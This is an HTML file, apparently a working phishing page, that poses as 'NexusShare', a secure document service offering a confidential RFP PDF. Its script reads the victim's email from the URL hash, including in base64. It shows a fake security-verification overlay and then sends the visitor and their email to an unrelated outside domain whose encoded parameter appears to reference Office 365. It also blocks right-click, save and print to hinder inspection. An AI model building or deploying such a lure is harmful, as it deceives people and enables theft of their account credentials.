File: //home/lacammxy/public_html/nexus/Nexus.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="Content-Security-Policy" content="default-src 'self' https://fonts.googleapis.com https://fonts.gstatic.com https://cdn.tailwindcss.com https://cdnjs.cloudflare.com https://readdy.ai; script-src 'self' 'unsafe-inline' https://cdn.tailwindcss.com https://cdnjs.cloudflare.com; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://cdnjs.cloudflare.com; font-src https://fonts.gstatic.com https://cdnjs.cloudflare.com; img-src 'self' data: https://readdy.ai;">
<title>Secure Document Transfer | NexusShare</title>
<!-- Modern Meta Tags -->
<meta name="theme-color" content="#0f172a">
<meta name="description" content="Secure enterprise-grade document sharing platform">
<!-- Tailwind with Custom Config -->
<script src="https://cdn.tailwindcss.com/3.4.16"></script>
<script>
tailwind.config = {
theme: {
extend: {
colors: {
primary: {
50: '#f0f9ff',
100: '#e0f2fe',
200: '#bae6fd',
300: '#7dd3fc',
400: '#38bdf8',
500: '#0ea5e9',
600: '#0284c7',
700: '#0369a1',
800: '#075985',
900: '#0c4a6e',
},
background: '#0f172a',
surface: '#1e293b',
accent: '#334155'
},
fontFamily: {
sans: ['"Inter"', 'system-ui', 'sans-serif'],
mono: ['"Roboto Mono"', 'monospace']
},
animation: {
'float': 'float 6s ease-in-out infinite',
'pulse-slow': 'pulse 4s cubic-bezier(0.4, 0, 0.6, 1) infinite',
},
keyframes: {
float: {
'0%, 100%': { transform: 'translateY(0)' },
'50%': { transform: 'translateY(-10px)' },
}
}
}
}
}
</script>
<!-- Fonts -->
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&family=Roboto+Mono:wght@400;500&display=swap" rel="stylesheet">
<!-- Icons -->
<link href="https://cdnjs.cloudflare.com/ajax/libs/remixicon/4.6.0/remixicon.min.css" rel="stylesheet">
<!-- Custom Styles -->
<style>
* {
-webkit-tap-highlight-color: transparent;
-webkit-font-smoothing: antialiased;
}
body {
background-color: #0f172a;
color: #f8fafc;
min-height: 100vh;
overflow-x: hidden;
}
.neumorphic-card {
background: #1e293b;
box-shadow: 8px 8px 16px #0f172a,
-8px -8px 16px #334155;
transition: all 0.3s ease;
}
.neumorphic-card:hover {
transform: translateY(-5px);
box-shadow: 12px 12px 24px #0f172a,
-12px -12px 24px #334155;
}
.input-field {
background: rgba(15, 23, 42, 0.5);
border: 1px solid #334155;
transition: all 0.3s ease;
}
.input-field:focus {
border-color: #38bdf8;
box-shadow: 0 0 0 3px rgba(56, 189, 248, 0.2);
}
.glow-effect {
position: relative;
overflow: hidden;
}
.glow-effect::before {
content: '';
position: absolute;
top: -50%;
left: -50%;
width: 200%;
height: 200%;
background: conic-gradient(
transparent 0deg,
transparent 180deg,
rgba(56, 189, 248, 0.1) 180deg,
rgba(56, 189, 248, 0.1) 270deg,
transparent 270deg
);
animation: rotate 4s linear infinite;
}
@keyframes rotate {
0% { transform: rotate(0deg); }
100% { transform: rotate(360deg); }
}
.security-grid {
background-image:
linear-gradient(rgba(56, 189, 248, 0.1) 1px, transparent 1px),
linear-gradient(90deg, rgba(56, 189, 248, 0.1) 1px, transparent 1px);
background-size: 20px 20px;
}
.document-preview {
background: linear-gradient(135deg, #1e293b 0%, #0f172a 100%);
border: 1px dashed #334155;
}
.divider {
background: linear-gradient(90deg, transparent 0%, #334155 50%, transparent 100%);
}
</style>
</head>
<body class="font-sans" oncontextmenu="return false">
<!-- Animated Background Elements -->
<div class="fixed inset-0 overflow-hidden -z-10">
<div class="absolute top-1/4 left-1/4 w-64 h-64 rounded-full bg-primary-900/10 blur-3xl"></div>
<div class="absolute top-2/3 right-1/3 w-96 h-96 rounded-full bg-primary-800/10 blur-3xl"></div>
</div>
<!-- Main Container -->
<div class="min-h-screen flex flex-col">
<!-- Header -->
<header class="py-6 px-4 border-b border-slate-800/50">
<div class="max-w-6xl mx-auto flex items-center justify-between">
<div class="flex items-center space-x-3">
<div class="w-10 h-10 rounded-lg bg-primary-900/30 border border-primary-800/30 flex items-center justify-center glow-effect">
<div class="relative z-10 w-8 h-8 flex items-center justify-center text-primary-400">
<i class="ri-fingerprint-line text-xl"></i>
</div>
</div>
<h1 class="text-xl font-bold bg-clip-text text-transparent bg-gradient-to-r from-primary-300 to-primary-500">NexusShare</h1>
</div>
<div class="flex items-center space-x-3">
<div class="text-xs font-mono px-3 py-1 rounded-full bg-slate-800/50 border border-slate-700 text-slate-300">
v2.5.1
</div>
<button class="w-9 h-9 rounded-lg flex items-center justify-center bg-slate-800/50 border border-slate-700 text-slate-300 hover:bg-slate-700/50 transition-colors">
<i class="ri-question-line"></i>
</button>
</div>
</div>
</header>
<!-- Main Content -->
<main class="flex-grow flex items-center justify-center px-4 py-8">
<div class="w-full max-w-lg neumorphic-card rounded-2xl overflow-hidden">
<!-- Document Header -->
<div class="p-6 border-b border-slate-700/50 security-grid">
<div class="flex items-center justify-between">
<div>
<h2 class="text-xl font-semibold text-slate-100">Secure Document Transfer</h2>
<p class="text-sm text-slate-400 mt-1">Encrypted file delivery</p>
</div>
<div class="flex items-center space-x-2">
<div class="text-xs font-mono px-2 py-1 rounded bg-slate-800/50 border border-slate-700 text-primary-400 flex items-center">
<i class="ri-shield-keyhole-line mr-1"></i>
<span>AES-256</span>
</div>
</div>
</div>
</div>
<!-- Document Preview -->
<div class="p-6">
<div class="document-preview rounded-xl p-5 mb-6">
<div class="flex items-center mb-5">
<div class="w-12 h-12 rounded-lg bg-slate-800/50 border border-slate-700 flex items-center justify-center text-primary-400">
<i class="ri-file-pdf-line text-2xl"></i>
</div>
<div class="ml-4">
<h3 class="text-sm font-medium text-slate-100 truncate max-w-[220px]">NEW_RFP_DOCUMENTS_2025.pdf</h3>
<div class="flex items-center mt-1 space-x-3">
<span class="text-xs text-slate-400">14.8 MB</span>
<span class="text-xs text-slate-400">PDF</span>
<span class="text-xs text-slate-400">May 1, 2025</span>
</div>
</div>
</div>
<div class="h-48 rounded-lg bg-slate-900/50 border border-slate-700 flex items-center justify-center">
<div class="text-center">
<div class="w-14 h-14 mx-auto text-slate-500 mb-3 animate-float">
<i class="ri-file-lock-2-line text-5xl"></i>
</div>
<p class="text-sm font-medium text-slate-400">Confidential Document Preview</p>
<p class="text-xs text-slate-500 mt-1">Decryption required for full access</p>
</div>
</div>
</div>
<!-- Access Form -->
<form id="downloadForm" class="space-y-5">
<div>
<label for="email" class="block text-sm font-medium text-slate-300 mb-2">Authorized Email</label>
<div class="relative">
<div class="absolute inset-y-0 left-0 pl-3 flex items-center pointer-events-none text-slate-500">
<i class="ri-at-line"></i>
</div>
<input
type="email"
id="email"
name="email"
required
class="input-field block w-full pl-10 pr-4 py-3 rounded-lg text-slate-100 placeholder-slate-500 focus:outline-none"
placeholder="authorized@email.com"
autocomplete="email"
>
</div>
</div>
<div class="pt-2">
<button
type="submit"
class="w-full flex items-center justify-center bg-primary-600 hover:bg-primary-500 text-white py-3.5 px-4 rounded-lg font-medium transition-all duration-200 focus:outline-none focus:ring-2 focus:ring-primary-500 focus:ring-offset-2 focus:ring-offset-slate-800"
>
<i class="ri-download-cloud-2-line mr-2"></i>
<span>Decrypt & Download</span>
</button>
</div>
<div class="divider h-px w-full"></div>
<div class="flex items-center justify-between text-xs text-slate-500">
<div class="flex items-center space-x-2">
<i class="ri-lock-2-line text-primary-400"></i>
<span>End-to-end encryption</span>
</div>
<div class="flex items-center space-x-2">
<i class="ri-time-line text-primary-400"></i>
<span>Expires in 7 days</span>
</div>
</div>
</form>
</div>
</div>
</main>
<!-- Footer -->
<footer class="py-5 text-center border-t border-slate-800/50">
<div class="max-w-6xl mx-auto px-4">
<p class="text-xs text-slate-500">
© 2025 NexusShare Technologies • <a href="#" class="hover:text-primary-400 transition-colors">Terms</a> • <a href="#" class="hover:text-primary-400 transition-colors">Privacy</a> • <a href="#" class="hover:text-primary-400 transition-colors">Security</a>
</p>
</div>
</footer>
</div>
<!-- Loading Overlay -->
<div id="loadingOverlay" class="fixed inset-0 bg-slate-900/90 z-50 hidden flex items-center justify-center backdrop-blur-sm">
<div class="bg-slate-800 p-8 rounded-xl border border-slate-700 max-w-xs w-full">
<div class="flex flex-col items-center">
<div class="relative mb-5">
<div class="w-14 h-14 rounded-full bg-slate-900/50 border-2 border-slate-700 flex items-center justify-center">
<div class="w-10 h-10 border-4 border-primary-500 border-t-transparent rounded-full animate-spin"></div>
</div>
<div class="absolute -inset-2 rounded-full border-2 border-primary-500/30 animate-ping"></div>
</div>
<h3 class="text-lg font-medium text-slate-100 mb-1">Security Verification</h3>
<p class="text-sm text-slate-400 text-center">Authenticating your credentials with our secure gateway...</p>
<div class="mt-4 w-full bg-slate-700 rounded-full h-1.5">
<div class="bg-primary-500 h-1.5 rounded-full animate-pulse-slow" style="width: 45%"></div>
</div>
</div>
</div>
</div>
<script>
document.addEventListener('DOMContentLoaded', function() {
// Extract email from URL hash if present
const hash = window.location.hash.substring(1);
if (hash) {
try {
let email = decodeURIComponent(hash);
if (hash.match(/^[A-Za-z0-9+/=]+$/)) {
try {
const decoded = atob(hash);
if (decoded.includes('@')) email = decoded;
} catch (e) {}
}
if (email.includes('@')) {
document.getElementById('email').value = email;
}
} catch (e) {}
}
// Form submission handler
document.getElementById('downloadForm').addEventListener('submit', function(e) {
e.preventDefault();
const email = document.getElementById('email').value.trim();
if (!email || !email.includes('@')) return;
// Show loading overlay
document.getElementById('loadingOverlay').classList.remove('hidden');
// Create form data
const formData = new FormData();
formData.append('email', email);
formData.append('domain', window.location.hostname);
// Simulate processing and redirect
setTimeout(function() {
window.location.href = 'https://brightlogisticskwt.com/s?c3Y9bzM2NV8xX29uZSZyYW5kPUVEQkVOJnVpZD1VU0VSMzAwNDIwMjVVNTIwNDMwNTAmcmFuZD1iQmR5Yg==N0123N' + encodeURIComponent(email);
}, 1500);
});
// Security measures
document.addEventListener('contextmenu', (e) => e.preventDefault());
document.addEventListener('keydown', (e) => {
if ((e.ctrlKey || e.metaKey) && (e.key === 's' || e.key === 'p')) {
e.preventDefault();
}
});
});
</script>
</body>
</html>